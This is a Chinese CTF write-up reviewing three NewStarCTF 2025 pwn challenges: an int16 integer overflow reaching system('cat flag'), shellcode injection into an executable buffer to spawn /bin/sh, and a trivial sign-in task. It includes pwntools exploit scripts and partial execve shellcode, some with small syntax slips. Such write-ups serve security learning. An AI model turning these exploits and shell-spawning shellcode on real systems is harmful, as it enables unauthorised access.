2025 NewStarCTF week1&2 pwn复盘
339 字
2 分钟
2025 NewStarCTF week1&2 pwn复盘
1、INTbug
难度:简单
打开ida分析func函数,可见是整数溢出型漏洞

v1是__int16类型,2字节有符号整数,范围在-32768到32767
v2是int类型,4字节有符号整数
v3是canary保护值
每次循环会读取输入到v2,如果是正数,就给v1值+1,如果不是正数就跳出循环
当v1达到32767时,再加1会整数型溢出,变为-32768
此时++v1<0条件成立,即可调用到system(“cat flag”)
exp脚本:
from pwn import *p=remote("ip",port)
for i in range(32767) p.sendline(b'1')
p.sendline(b'1')
p.interactive()2、input_function
难度:困难
打开ida,分析main函数

发现分配了一块内存,地址为0x114514,大小0x1000,权限7(1+2+4,可读可写可执行),将地址保存在了指针变量buf中
提示输入一个编译后的函数
读取最多0x500字节到内存
随后直接执行
可以看出是注入shellcode执行
第一种方法,我们手动写一个调用execve(“/bin/sh”)
; x86-64 Shellcodesection .text global _start
_start: ; execve("/bin/sh", 0, 0) xor rsi, rsi mov rdi, 0x114514 + 0x100 ; mov rax, 59 syscall但pwntools可以自动生成一个shellcode
exp如下:
from pwn import *
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
p.remote("ip",port)
p.send(shellcode)
p.interactive()3、pwn’s door
难度:简单

很简单的签到题
输出一大堆东西,读取输入到n7038329,然后判断n7038329是否等于7038329
直接运行,输入7038329,就可以拿到flag了
支持与分享
如果这篇文章对你有帮助,欢迎分享给更多人或赞助支持!
2025 NewStarCTF week1&2 pwn复盘
https://joker233.top/posts/2025-newstarctf-week1-2-pwn-review/ 相关文章 智能推荐
1
DASCTF 2026 Pwn方向 WP
CTF DASCTF 2026 Pwn方向部分题目赛后复现
2
SparkCTF 2026 WP——Pwn部分
CTF 学校搞的训练赛,难度很适中
3
Canary绕过专题(2)——格式化字符串泄露
CTF 格式化字符串泄露Canary 检查一下安全机制 再看看IDA 跟上一道题差不多,但第一个 read只能读取5字节 我们主要还是关注后面的 printf 使用 printf的关键是找栈上的偏移 我们在gdb里运行到Canary在栈上被布置后,
4
Canary绕过专题(3)——One-By-One爆破
CTF 利用fork()获取Canary 核心原理 fork()是一个系统调用,它的作用是“复制”当前进程,创建一个全新的、几乎一模一样的子进程。 关键特性: 子进程是父进程的副本,它们有各自独立的内存空间。 对于Canary来说,最关键的一点是:
5
Canary绕过专题(4)——SSP泄露
CTF 利用SSP泄露获取flag 机制讲解 SSP 是编译器为了防止栈溢出攻击加入的一种保护机制 当程序运行时检测到Canary被破坏,会触发 stackchkfail 函数,准备终止程序并报错。 关键特性: 报错机制: 在 glibc 2.25
随机文章 随机推荐